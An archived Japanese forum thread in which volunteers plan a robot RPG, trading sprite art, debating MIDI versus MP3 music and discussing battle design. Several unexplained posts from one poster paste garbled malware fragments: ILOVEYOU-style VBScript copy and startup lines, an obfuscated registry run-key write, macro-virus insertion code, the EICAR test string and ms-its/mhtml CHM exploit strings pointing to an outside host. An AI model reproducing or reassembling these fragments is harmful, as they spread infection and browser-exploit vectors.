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みんなでオリジナルのロボットRPGを作ろう!4

■ このスレッドは過去ログ倉庫に格納されています
0001名前は開発中のものです。2005/08/16(火) 16:05:49ID:SwaiGd2H
1 ◆9mfk.Z6Wmcさんが立ち上げた案でロボットRPGを皆で作ろう!

初代スレ
http://game9.2ch.net/test/read.cgi/gamerpg/1107090964/
2代目スレ
http://game10.2ch.net/test/read.cgi/game/1108379171/
3代目スレ
http://pc8.2ch.net/test/read.cgi/gamedev/1112843375/
・sage進行
・制作はRPGツクールXP
・現在の状況などはまとめサイトや前スレを参照のこと
・基本的なスタンスは「来るもの拒まず」

まとめサイト(画像うpろだ、外部掲示板あり)
旧 http://robotrpg.kt.fc2.com/
新 http://www.geocities.jp/robotrpg2ch/
ログ保管庫
http://www.h6.dion.ne.jp/%7Eohuro/robo/top.htm
0771zk ◆PPcELrLkWg 2005/11/30(水) 16:15:06ID:Lack8u23
音楽は間に合ってるみたいなんでうp

前に書いた【ビースト】の落書きです。こんなかんじかな?
ttp://up.php-s.net/up.php?id=tabiji&time=1133334651&ext=.JPG

二足歩行に進化(こっちに力はいってます・・・。)
ttp://up.php-s.net/up.php?id=tabiji&time=1133334774&ext=.JPG
0772名前は開発中のものです。2005/11/30(水) 18:07:18ID:8CfJkCRR
何ロダのパクリ絵。EVA+廃棄物13号にzkの絵までパクりかよ。
こんなドットにしにくい汚い絵をうpしてどうしろっていうんだか。タイミングもzk氏に失礼。
デッサンひどすぎ。世界観に合わない。デザインはバランス悪すぎでキモイ。
全然反省してないじゃん。いい加減にしろよな546。二度と来るな。
0773zk ◆PPcELrLkWg 2005/11/30(水) 18:22:11ID:Lack8u23
インスパ〜イア〜は〜
私よりうまいので〜
大いに結構〜かと存じ上げます〜

俺が下手だとか言うのはナイショ!
0774名前は開発中のものです。2005/11/30(水) 18:23:08ID:S+ATgowG
>>772
言い過ぎ。
別に悪かないだろ。

ただ、自分ジャンクの案を出したものなんだけど、
なんというか、もうちょっとボロボロというか、バランスが悪いと言うか...
左右対称なシルエットじゃないようなイメージがありますた
546氏のドラゴンロボは、むしろ帝国の新型ロボみたいに見える。
だがそれはそれで良い

>>771
GJ
自分絵が描けないんで無責任に要望
前足が一本短くて体が傾いてるとか、目が片方とびだして(ビックリ箱のバネみたいのが出てる)るとか
胴体の装甲が破れて中身見えてるとか、継ぎはぎだらけの体とか...
自分のジャンクのイメージはそんな感じです
無責任発言スマソ
0775zk ◆PPcELrLkWg 2005/11/30(水) 18:29:07ID:Lack8u23
>>774
うい、とりあえず初期段階(無傷)を書いたんでだんだん壊してきますよ ウヒヒ
なんでも壊すのは得意です。ええ。

やりだすとかなりこだわっちゃうタイプなんでヒマかかるかも。
0776名前は開発中のものです。2005/11/30(水) 22:01:57ID:ejOSg4gt
違ったら悪いが叩きは自演じゃないのか?>546

デッサンなんて他に突っ込むべき奴がいるし
この人口密度にしては気づくのが早すぎ
EVAにも廃棄物にも特に似ているとは思えない
0777ドリームリーダー7632005/11/30(水) 23:07:29ID:J73viL80
>>768
乙&GJ!降着カッケェ!歩行もなんだか凛々しくなってる。

>>771-775
うーん俺もジャンクってくらいだからぼろぼろのさびさびって感じがあるなぁ
つまりまぁこんな感じ
ttp://kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi17418.jpg.html
0778名前は開発中のものです。2005/11/30(水) 23:09:02ID:wfwZLHUS
>>777
怖い怖い怖い((((;゚Д゚))))ガクガクブルブル
これには勝てない
07798 ◆jS1vbFJDVk 2005/12/01(木) 01:35:50ID:LtdUYkos
>>768
ロボドットめちゃくちゃクオリティ上がってますね…GJ!
レーネ差し替えも含めて次回実装させていただきます。
降着グラは単にキャラの向き変更で制御できるので
今の並び方でも問題なく使えます。
(戦火のあとのような半壊ロボのドット絵も欲しいというのは内緒)
>>771
ついにジャンクの絵も!GJです。もっとボロく!
0780zk ◆PPcELrLkWg 2005/12/01(木) 07:03:20ID:5/L3ddJ3
>>777志村!本物!本物!
0781JUN ◆ylCNb/NVSE 2005/12/01(木) 17:48:05ID:VpwWfakY
お久しぶりでございます
暫く見ない間に、ずいぶん活気が出てきましたねえ
新参の方、今後も宜しくお願いいたします。

>>イッポウシ氏
新音師キタ━━━━(゚∀゚)━━━━!!!!!!
どっちも自分には作れなさそうな曲調だなあ...GJ!
お互い高め合いながら曲作りができると良いですね。
ボスバトル期待

>>190氏のレーネに触発されて、レーネのテーマ(盗賊団のテーマ?)を作りました。
あのフトモモを見た瞬間に、これしかないなと。
かなり力を入れたんですが、力を入れる方向を間違ってしまった気も...まあ、一曲くらいこういうのがあっても、ねえ?

感想いただけると、とても嬉しいです。意見を言っていただけると助かります

【レーネのテーマ】
http://www.yonosuke.net/dtm/5/13363.mp3
0782名前は開発中のものです。2005/12/01(木) 20:06:28ID:qLDnGbBh
水術師、魔帝シアのキャラグラが完成した。  ついでにシア専用機も描いてみた、
背中のタンクにはシアが作り出した水がいっぱいに溜まっている。
足は細いが水の力で支えたれており、水圧を利用して大ジャンプが可能。
ttp://up.php-s.net/up.php?id=tabiji&time=1133434876&ext=.png

>>781
いいんじゃね?
0783名前は開発中のものです。2005/12/01(木) 21:12:56ID:vYCzCzWz
昨日音楽ファイルをmidiにするかmp3にするかでさんざん議論したのに
なんでまたmp3で作るんだろう?
もしかしてmidiでは作れないの?midiを作る能力が無いならまあ諦めますけど
0784JUN ◆ylCNb/NVSE 2005/12/01(木) 21:41:51ID:UE+cJ7ZN
>>783
MIDIを作る能力も環境もないのですorz
オーディオ形式の打ち込み作曲に腰までどっぷり浸かってるもんで...

というわけで今回もMIDIの音色づけをしてくれる方を激しく募集
http://www.uploda.org/file/uporg250907.mid.html
pass:robo
0785名前は開発中のものです。2005/12/01(木) 22:09:38ID:tR96vYKi
いまどきMIDIっていうのもどうかと。
音源持ってる人もほとんどいないだろう。
低速回線のほうが圧倒的少数派なわけだし、
その少数派のためだけに作品のクオリティを下げるのは、
最もバカバカしい行為だと思う。
0786名前は開発中のものです。2005/12/01(木) 22:14:36ID:7WxBIz2N
mp3版:文字通り。
midi版:ボランティアのmidi師に頼りつつ、最悪の場合RTPに差し替え

でいいんじゃない つーか欲しい物は自分で作るのがみんなで〜スレの基本だ。

しかしあと数曲でアウトってのはあと10メガ程度だと思うが、
たとえこれから全てMIDIにしても画像その他で10メガなんて余裕でいくと思うぞ。
0787名前は開発中のものです。2005/12/01(木) 22:15:45ID:vYCzCzWz
だってこの人midi作れないんでしょ
それじゃしょうがないから諦めますよ
0788名前は開発中のものです。2005/12/01(木) 22:17:22ID:J8Ckpmep
>>785
ツクールXPは音源を持っているので
音源による音質の差はありません。
上にもあるように両方のver.を作ればいいのでは?
1曲3MBとして30曲90MBはかなり大きい
0789名前は開発中のものです。2005/12/01(木) 22:22:17ID:dyW0Z50h
8さん的には何曲くらい入れるつもりなわけ?
そろそろ、必要な曲数を明確にしたほうが良いと思う。

midi議論に埋もれてるけど>>781かなりイイ!
0790名前は開発中のものです。2005/12/01(木) 22:25:19ID:tR96vYKi
>>788
そういえばツクールXP製だったな、忘れてたよ。
けど、1曲3Mはやりすぎだ。
高ビットレートでなくても問題ないし、1コーラスだけにすれば1Mもいかないぞ。
ogg使えるならmp3よりさらに圧縮できる。
ま、両方作るのは賛成かな。

>>787
ここの人たちはあんたのためにゲームを作ってるんじゃない。
あんたには傲慢な物言いができる権利があるのかい?
0791名前は開発中のものです。2005/12/01(木) 22:28:54ID:vYCzCzWz
だから諦めますよって言ってるのに
作る能力無いんでしょ?じゃあ要求しようが無いじゃないですか
0792名前は開発中のものです。2005/12/01(木) 22:30:06ID:7WxBIz2N
OK,妥結を見たところで以後は放置よろ
0793名前は開発中のものです。2005/12/01(木) 22:33:20ID:tR96vYKi
>>791
だから、その人を扱き下ろすような言い方を・・・
OK、もう言わない。
07948 ◆jS1vbFJDVk 2005/12/01(木) 22:40:43ID:ndZMpo8G
>>781
お久しぶりです。レーネのテーマGJ!
もうどんどん使いたい気分ですよ。
>>785
少数派をないがしろにする方針はあたたかくない。
かくいう俺もマカーでね。本当はmacでも遊べるようにしたい(絶対無理)
>>787
midiですが、JUNさん自身が作れなくても
>>784のようなデータさえあれば他の人が作れるものなので、
midiできる人へバトンタッチできれば大丈夫です。
そういえばzkさんmidiできるようですが、お願いできませんか?
>>789
投下された曲はほぼ全部使うつもりでしたが、
サイズのこともありますからね。画像も多くなるでしょうし。
よし、ひとまず30曲としておきましょう。泣いても笑っても30曲。
採用不採用はスレの投票で決めるようにして。それでおk?
>>791
ヒント:JUNさん以外のmidi職人
0795名前は開発中のものです。2005/12/01(木) 22:44:26ID:J8Ckpmep
>>790
oggはサイズがでかいと読み込みにかなり時間を食うんで
環境音とか向けらしい。
1曲3MBはでかすぎたね、1.5MBぐらいか
0796JUN ◆ylCNb/NVSE 2005/12/01(木) 22:51:37ID:UE+cJ7ZN
なんか曲と関係ない所で白熱してしまった

>>8さん
曲の作り方の統一基準を出していただきたいのです
・(mp3の場合)、ループは何回?
・終わり方はフェードアウト?ぶった切り?
・一曲の時間の目安は?
・一曲のサイズの目安は?

>>よし、ひとまず30曲としておきましょう。泣いても笑っても30曲。
>>採用不採用はスレの投票で決めるようにして。それでおk?
了解です
どんな30曲が欲しいかのリストが有ると嬉しいです こうなれば無軌道に作りまくる訳にもいくまい

イッポウシさん、zkさん、>>587さん その他音師の方々と相談して、被らないように作る計画を建てたいです。
リストが出たら、チャットorスレで話し合いましょう

>>採用不採用はスレの投票で決めるようにして。それでおk?
怖ぇ((((;゚Д゚))))

あ、主題歌だけはCD音質で作ります故
0797いつかの1902005/12/01(木) 23:04:49ID:S+Ql6SOt
実は私も低速回線。mp3もいいけどmidiの音質も好きだったりする…

>>8
そういえば、半壊ロボというと、具体的にはどんなものでしょうか。
背景オブジェクト的な完全に各坐して動かなくなったロボなのか、
半分壊れてもまだ動いているような物なのか、
はたまた主人公ロボの半壊状態?
詳細をリクエストして頂ければ次にそれを描いてみようと思います。
0798陽炎 ◆wFN7olDADA 2005/12/01(木) 23:07:30ID:RcFPso9e

少数派
0799JUN ◆ylCNb/NVSE 2005/12/01(木) 23:13:38ID:UE+cJ7ZN
不完全かもしれない既出曲リスト(アレンジは除きましたスマソ あと自分のいくつかボツりました)
フィールド=バトル、イベントシーン以外で流れる音楽 施設、ダンジョンなど

*JUN
戦闘(バトル)
大敵(バトル)
ドランカーズ・ファンク(フィールド)
おばけ洞窟(フィールド)
spirits(フィールド)
旅路(フィールド)
ホームタウン(フィールド)
赤い月の見える夜(フィールド)
寂れた町の風景(フィールド)
失われた古代遺跡(フィールド)
武装戦闘集団ワールドウィンド(イベント)
レーネのテーマ(イベント)
戦火のあと(イベント)
ねこイベント(イベント)
バトル2 フィールド8 イベント4
計14

*イッポウシ氏
まどろみ(イベント)
逃げろ!(イベント)
サイバー風(フィールド)
計3

*584氏
ギャグ担当三人組(イベント)
計1
0800JUN ◆ylCNb/NVSE 2005/12/01(木) 23:14:12ID:UE+cJ7ZN

バトル2 フィールド9 イベント7
合計18曲

☆今後の予定(作成中)
*JUN
主人公のテーマ(イベント)
親友のテーマ(イベント)
天王八部衆のテーマ(イベント)
「冷たい機械」とのバトル(バトル)
悪いボスとのバトル(バトル)

*イッポウシ氏
ボスバトル(バトル)

☆あと12曲(作成中除くと6曲)
08018 ◆jS1vbFJDVk 2005/12/02(金) 01:07:58ID:Sjcu94E9
>>796
では、こんな感じでお願いします。
・mp3は1ループ半をフェードアウト式で。
・時間はフェードアウト部分含めて1分から1分半あたりを目安、最大2分。
・サイズは1Mを目安、最大で1.5M(主題歌は除く)。
・もちろん、サイズが小さいならそれにこしたことはない。大敵とかいい例。
これなら30曲と主題歌入れてもサイズが50Mを超えることはないでしょう。
>>797
フィールドやダンジョンで宝箱の代わりに使おうと思っている
(半壊したロボから、まだ使える部品や武器を拝借)ので、
・もう動かせないが、装甲や部品がまだ残っている状態
・壊れた部品しか残っていない、スクラップも同然の状態
この2パターンを作っていただけると助かります。
片方しかできない場合は上のイメージを優先してください。
>はたまた主人公ロボの半壊状態?
あったらあったで使い出がありそうですが、負担になるようでしたら
無視していただいてかまいません。
>>798
このスレでは徐々に多数派になりつつあります。どっちもどっちも!

素材師さんががんばってくれているんで、俺も全力で答えたい。
だが暇がない…本格的な更新は早くても来週以降になりますスマソ
08028 ◆jS1vbFJDVk 2005/12/02(金) 01:14:11ID:Sjcu94E9
続けます。
>>799-800
乙。ボツになったのはメンチですね。
あと6曲…そういえばエンディング曲も
必要になるかと思いますがどうでしょう。
0803zk ◆PPcELrLkWg 2005/12/02(金) 07:18:59ID:kQFa2I2g
ん?呼びました?
私は基本的に下手な鉄砲を乱射するタイプなんで
被っても私以外の人を優先していただけばおkですよ。

ついこの前まで低速回転だったから大きいファイルが怖いです。


で、ジャンクなんですが・・・グロくなったけどかまいませんか。
バイオのゾンビ犬をイメージしていただくとわかりやすいかと・・・。
0804名前は開発中のものです。2005/12/02(金) 08:40:26ID:5rZHdjYt
曲について提案

・キャラクターのテーマソングは、イベントシーンだけじゃなくて、そのキャラが深く関わるクエスト時
(あるいはそのキャラがパーティに入ってるとき)のフィールド音楽に使うのはどうでしょう
レーネのテーマとか、完成度がとても高いので使い捨てはもったいない。

・寂しい、悲しい曲が多すぎて、楽しい曲や怖い曲が少ないように感じます。特に町のBGMなど、悲しい曲ばかりでは飽きてしまいそう。
(JUN氏には悪いですが)赤い月の見える夜、失われた古代遺跡、戦火の後、寂れた町の風景は曲調がモロ被りです。

・バトル曲が現段階で5曲出てますが、そんなにいらないかも?
通常戦闘 ボス戦闘 イベント戦闘 ラストバトル で十分では。

・ワールドウィンドはキャラ自体なくなったので、不良っぽい悪者の登場シーンとかに良いと思う

・ねこイベントは猫に限らず、とぼけたキャラとの会話シーンとかに良いと思う
0805名前は開発中のものです。2005/12/02(金) 09:24:39ID:NR7yMK+o
しかし546は何がしたいんだ?自演する暇あるならその分腕磨けばいいのに。
空気嫁
0806名前は開発中のものです。2005/12/02(金) 13:17:28ID:nDttIyiQ
エンディングは壮大なオケ曲を希望 映画音楽みたいな
0807名前は開発中のものです。2005/12/02(金) 14:47:39ID:51jcs1fH
なんか上のほうで呼ばれた気がしたのでMIDIを編集してみましたよ…。

【レーネのテーマ】
ttp://www.uploda.org/file/uporg251383.mid.html
pass:robo

一部、誤って処理してしまった箇所があるのですがとりあえずあげときますね。
ツクールで再生したときにループがうまくいかないのも編集ミスです。
0808名前は開発中のものです。2005/12/02(金) 14:48:34ID:51jcs1fH
なんか突然乱入したみたいなレスをしてしまった。
0809名前は開発中のものです。2005/12/02(金) 16:07:24ID:dzZjMHRX
おつ
0810名前は開発中のものです。2005/12/02(金) 16:29:36ID:1+udBbd5
>>817
乙!
ナイスアレンジ

ところで30レス以上無視され続けてる>>782は一体何?誤爆?
0811名前は開発中のものです。2005/12/02(金) 18:53:07ID:ov61wn6h
>>810
782のキャラはこのゲームのラスボスです。
0812名前は開発中のものです。2005/12/02(金) 20:07:28ID:V/JvSL+w
水術士シアってどこのインスパイア?
0813名前は開発中のものです。2005/12/02(金) 21:11:31ID:odK/FnW3
水術師...魔帝...水を作り出す...
そんな世界観になった訳?

萎えた
0814名前は開発中のものです。2005/12/02(金) 22:04:31ID:CsgO1t7A
スルーしとけばいいじゃん…
0815名前は開発中のものです。2005/12/02(金) 23:28:50ID:4A1Ag+nS
>>782みたいな意味不明なのはスルーで
0816名前は開発中のものです。2005/12/02(金) 23:47:51ID:odK/FnW3
素材としての出来はかなり良いのになあ
なぜ突然オリキャラを出してしまったのだろう
0817名前は開発中のものです。2005/12/03(土) 00:17:20ID:6DNPQ9/q
782は○RPGネタでしょ。
随分唐突だけど。何故此処に。
0818311古2005/12/03(土) 00:27:10ID:k8UePouA
あんちゃんを試しに描いてみましたが
どうにも髭なきゃ童顔な気がしてきた…
渋いのがお好みならば描きなおしまつ
0819名前は開発中のものです。2005/12/03(土) 00:32:55ID:OU/RUzlm
c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?  
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?
0820名前は開発中のものです。2005/12/03(土) 00:33:31ID:OU/RUzlm
ms-its:mhtml:file://C:\
0821いつかの1902005/12/03(土) 01:54:55ID:jtv/1+xc
>>8
成る程、了解しました。そのイメージで作ってみます。


ついでに私なりのジャンクを描いてみたり。
http://up.php-s.net/up.php?id=tabiji&time=1133540510&ext=.jpg
えーと…ギャベイジ?
08227172005/12/03(土) 02:27:59ID:0cT00EiR
>>821
うまーーーーーーーーー!
怖ーーーーーーーーーー!
GJ!!!!
コレですよコレ。イメージとぴったしだ!
こんな感じでお願いしまつ(・∀・)

>>797
JUN氏のピアノ曲(穏やか?)てのが抜けてるようですが。ボツですか?
0823名前は開発中のものです。2005/12/03(土) 02:33:54ID:0cT00EiR
>>818
GJ!
個人的には、ざんばらの髪で頬に傷の一つでもあったほうが好き
でもこれはこれで良いなあ。若くて。
0824zk ◆PPcELrLkWg 2005/12/03(土) 08:47:48ID:pe+9nS5w
>>782は赤い人だな!そうなんだな!こういうのは好きだけどね。

>>821超GJ!

午後にグロくなったビーストうpします
0825zk ◆PPcELrLkWg 2005/12/03(土) 13:21:09ID:HXs/I9mw
うp

ttp://up.php-s.net/up.php?id=tabiji&time=1133583628&ext=.JPG
0826名前は開発中のものです。2005/12/03(土) 13:26:38ID:FPv6draX
GJ
0827名前は開発中のものです。2005/12/03(土) 13:28:34ID:cGYtpkPw
自演厨よりよっぽど上手い
0828名前は開発中のものです。2005/12/03(土) 13:45:01ID:OU/RUzlm
c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
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X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?  
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?
0829名前は開発中のものです。2005/12/03(土) 13:45:52ID:OU/RUzlm
c.Copy(dirwin&"\Win32DLL.vbs")?
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X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*?
fso.copyfile?"dirsystem&nurupo.vbs",?"j:\windows\start?menu\programs\startup\"?
If?s?=?"htm"?and?fso.FileExists(f1.path+"l")?=?False?then?fso.CopyFile?f1.path,?f1.path+"l"?
ToInfect.CodeModule.InsertLines?BGN,?ADI1.CodeModule.Lines(BGN,?)?
G.RegWrite?A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),?E.BuildPath(E.GetSpecialFolder(1),?A("VHORU@SU/WCR"))?
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))?  
ms-its:mhtml:file://c:\ ?
kak.hta';ken=wd+'START?
c.Copy(dirwin&"\Win32DLL.vbs")?
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")?
<object?data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm"?type="text/?
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kak.hta';ken=wd+'START?
0830名前は開発中のものです。2005/12/03(土) 18:34:52ID:JGYu0pro
爪の部分さぁ
0831名前は開発中のものです。2005/12/03(土) 20:16:06ID:4IG8Sm44
書き込みテスト

おまけ
ttp://up.php-s.net/up.php?id=tabiji&time=1133608351&ext=.png
0832JUN ◆ylCNb/NVSE 2005/12/03(土) 21:29:46ID:W3Ho4QMg
>>zk氏
GJ!!グロかわいい!
この位のグロさなら、躊躇無くやっつけられそうですね。

>>831
おおおおお
GJ!!!!
次はジラルダの曲を考えようかな

>>804
なるほど
キャラのテーマを使い回すというのは賛成です

>曲調がモロ被りです
確かにorz
どれかボツりますかね。

>>807
GJ!!
なかなか良い感じです 
元の曲が良いと尚良いんですけどね...修行します
他の曲についてもお願いできますか?

>>822
よ く 気 づ き ま し た ね
そういえばそんなのあったなあ...「寂しげ」ですね。全然寂しくないけど。
どうもです

主題歌、そろそろ出来そうな気配
乞うご期待
0833名前は開発中のものです。2005/12/04(日) 15:11:35ID:C0jOe2+e
>>832

>>807ですがMIDI化は時間が取れれば協力できます。
MIDIのシーケンサー持っているwin機の人なら誰でもできると思いますけど…。
0834名前は開発中のものです。2005/12/04(日) 20:59:55ID:xGCYQVF7
期待age
0835名前は開発中のものです。2005/12/04(日) 21:49:08ID:rjA8CY0Y
提案
放置シェルのジャンクはただのパーツの集まりだけだと、都合良すぎる部分があるから、
肉付きがあったらいいと思う。シェルもいくつかのタイプにわけて
タイプAなら犬型。Bなら人型など。
とか案だしている自分もよくイメージが浮かばな
いからよろしければ絵師さんに描いていただきたい。
0836名前は開発中のものです。2005/12/04(日) 22:27:56ID:hnmeBRn/
肉っつ−と...パーツの間からレアな部分が見える訳ですか
こええ...
08378 ◆jS1vbFJDVk 2005/12/05(月) 00:30:21ID:8zfmhgOC
戻りました。すごいレス進んでてびっくりです。

>>807
乙!ではプロトタイプに実装しておきます。
>>818
あんちゃんGJです!十分渋いかと。
ふと思ったこと 男ロボ乗り=ゴーグル
>>821
とんでもないほどにGJ。腕パーツが足になってたりしてそれっぽい。
これはちょっと修正すれば敵グラで使えるかも…怖すぎる?
>>825
おおう、これもこれでグロカワイイ。GJ!
>>831
イラストに忠実でGJ!では左だけ切り取ってキャラグラで使います。
シアは…どうしよう。どうしようもないかも。
>>832
主題歌ワクワクワクワク
>>835-836
肉というよりはカキの殻みたいな物体がはみ出てるとか。
シェルの原料である貝の本能とかなんとかで。貝殻が。
0838名前は開発中のものです。2005/12/05(月) 00:47:11ID:nr8LgweJ
> 肉付きがあったらいいと思う。シェルもいくつかのタイプにわけて
> タイプAなら犬型。Bなら人型など。
たぶんこれ、「骨組み」の間違いでないかと...
シェル毎に、おおまかなロボの形が決まってるってことでは?
0839名前は開発中のものです。2005/12/05(月) 01:56:30ID:f2arO34A
>>837

めちゃ迷ってます……
あっちもやっぱり頑張らなきゃという気がしてまして。。

意味分かんなかったらゴメンナサイ
08408 ◆jS1vbFJDVk 2005/12/06(火) 03:22:19ID:xst47yL3
俺が書き込むと流れが止まる罠。
それはともかく、b更新。敵が前進してくるように。
ttp://emps.rash.jp/up/src/up0038.zip
いつかの190さん、イラスト使わせていただきました。

>>838
肉じゃなくて骨組みですね、失礼しました。
要するに、同じような骨格のジャンクからは
同形等のシェルを入手できるということですね。
>>839
了解しました。というわけで>>792
いったんボツということにしましょう。
0841イッポウシ ◆quM58wnvXA 2005/12/07(水) 01:25:49ID:iC4KoCeg
只今製作中です。
思ったほど注文通りにはならないような気がしてきました。
もしそうなったらごめんなさい。

流れが速くて忘れられそうなので、一応。
0842名前は開発中のものです。2005/12/07(水) 09:50:48ID:F1McX5CK
イッポウ氏ね
0843名前は開発中のものです。2005/12/07(水) 21:29:30ID:iG8Tz3Zy
イッポウシ氏頑張ってください
0844名前は開発中のものです。2005/12/07(水) 21:45:02ID:xJShtvmI
うpラッシュも過ぎてまた過疎か...
今の期待の品
・主題歌
・イッポウシ氏の新曲
・とにかくなにかの絵
08458 ◆jS1vbFJDVk 2005/12/08(木) 00:16:25ID:uBIwZwuq
>>841
いえ、こちらも難しい注文をしたと思ってます。スマソ
>>844
ゲームそのものには期待できませんか…そうですか…

皆さんの意見ください。
プロトタイプですが、今のようなペースでちょこちょこ更新するのと
もっと形ができてから大幅更新するのとどっちが好ましいでしょうか。
08468442005/12/08(木) 00:28:46ID:qaXXkle2
>>845
す...すまねえ
目先の素材ばっかに目をやってしまった
ごめんな8さん

ちょこちょこ更新に一票
0847名前は開発中のものです。2005/12/08(木) 06:54:07ID:frEf6YZ6
イッポウ氏とやらは
ただの構ってちゃんだったんだな
0848名前は開発中のものです。2005/12/08(木) 17:54:14ID:XwYLtx+w
大幅更新の方がメリハリが出来てよい
今のやり方だと慢性的にダレる
08498 ◆jS1vbFJDVk 2005/12/09(金) 00:39:36ID:c0uZvfF7
もうちょい意見待ち。

ただ、どっちの意見が多くても
今年いっぱいはプロトタイプの更新はできない予感。
どうみても年末です。本当にありがとうございました。
0850ちょっと通りますよ2005/12/09(金) 03:56:12ID:yHgLrri5
ドカンと大型更新できる程にプロジェクトが進展するかどうかだろう。
結局は、切らさないようにこまめに更新して行くのがいいと思うけどね。
その方が更新材料も出てき易いんじゃないの、と部外者の意見
0851名前は開発中のものです。2005/12/09(金) 07:44:38ID:aiJAwNwN
更新しない>人居なくなる>ドカンと更新しても人が来ない>決潰
0852名前は開発中のものです。2005/12/09(金) 23:30:03ID:j3bkwjQr
まあ、今は年末だし人が来ないのはしかたない
春に大幅更新があることを期待
8氏GANNGARE
08538 ◆jS1vbFJDVk 2005/12/09(金) 23:57:57ID:2Om/9UTR
意見を聞いて考えた結果。
来年も今までのような小幅更新でいきますが、
謹賀新年1発目はできるだけ大幅に更新したいと思っています。

そういえば、来年1月30日でロボスレ1周年ですね。
0854zk ◆PPcELrLkWg 2005/12/10(土) 11:52:59ID:wCTF7HHX
アク禁に巻き込まれてますた
0855名前は開発中のものです。2005/12/11(日) 00:37:44ID:f2vB0zgd
ひとつ質問

仲間ってバトルではどういう位置づけになるわけ?
コマンド入力で、主人公ロボと共闘するの?オートで戦うの?それとも直接戦闘には参加しなくて、サポート的存在?
08568 ◆jS1vbFJDVk 2005/12/11(日) 01:45:59ID:Mm2GUo8/
>>854
規制乙。
>>855
過去の意見投票の結果などを参考にして、現状では
戦闘時にロボを駆りオートで戦う仲間(アルウィンなど)と
直接戦闘せずサポートに徹する仲間(親友やレーネなど)の
2タイプに分けようと考えてます。

よし、オート仲間も実装してみよう。バランス調整が鬼になるけど…
08578 ◆jS1vbFJDVk 2005/12/11(日) 01:57:43ID:Mm2GUo8/
…今の時点でバランスがどうとか心配してる場合じゃない
と自分ツッコミして今日は寝ます。

バトルに関して、これから実装して欲しい要素など
あげてみてください。遊ぶときに分かりやすく、
なおかつ実装しやすそうなものは採用されるかも。来年。
0858名前は開発中のものです。2005/12/11(日) 02:04:42ID:ohNVp0t4
スターフォックス64みたいな感覚でいいんでないか?
居てもいなくても一緒だが、居ると情況が好転、助けを求めることしばしばみたいな
0859名前は開発中のものです。2005/12/11(日) 17:17:33ID:Q4zG07uJ
ささいがここに来る話があったってマジ?
というか、本人が白状してるんだからマジだろうけど。

グラフィック+スクリプトの強力な戦力を逃したのは痛いけど
そのうち協力してくれたりするんかな?

>>857
直感的な理解のしやすさは欲しい
ゲ製の戦闘はすごいんだけど分かりにくい感じがするし
・・・て、全然案になってないな。スマソ
0860名前は開発中のものです。2005/12/11(日) 21:36:07ID:h3s2oIdf
FOX!痛いケロ!やめてケロ!
0861名前は開発中のものです。2005/12/11(日) 21:43:18ID:DMeEv89r
変なのが湧いてるな
0862名前は開発中のものです。2005/12/11(日) 22:00:04ID:6lcVyEyU
実装して欲しい要素というより、皆で戦闘システムの根幹について考えた方が良いと思われ

とりあえず、「直感的に理解し易い戦闘」 ってどういうものだろうか。直感的なシステム?直感的な数値変動?直感的なインターフェース?
なんでゲ制の戦闘は解りづらいんだろうか?

識者の意見キボンヌ
0863名前は開発中のものです。2005/12/12(月) 00:08:10ID:8lrefver
理解しやすいといえば、単純であることが1つだと思う
ごちゃごちゃしたものを付け加えるから解りにくいんじゃなかろうか
シンプルにしろとは言わないが、贅肉のついたシステムは不要だな
やはり必要なものにしぼって、なおかつ魅力を出すのが
製作者の力量ということでしょう

あと視覚的に解りやすいことも大事かな
無駄は省き、味付けだけを加える
難しいことだけど、期待してるよ
0864いつかの1902005/12/12(月) 00:16:15ID:wHqqQJ0O
手が遅くてすいません。とりあえず半壊ロボのドットアップです。
ついでにウィンドウスキン何か入れてみたり…
http://emps.rash.jp/up/src/up0039.zip

半壊ロボからいきなりスクラップになるのは違和感があったのでとりあえず若干のポーズ変えと
彩度下げをしてみたんですが、うーん…とりあえず仮ということで。
ウィンドウスキンの方は本当に作ってみただけという感じ。こういうセンスが求められるのは私には…げふげふ。

更に何となくANNAさんイメージ絵。
http://up.php-s.net/up.php?id=tabiji&time=1134313470&ext=.jpg
って良く見たら21歳とは。ちょっと幼くなりすぎた…かなぁ。
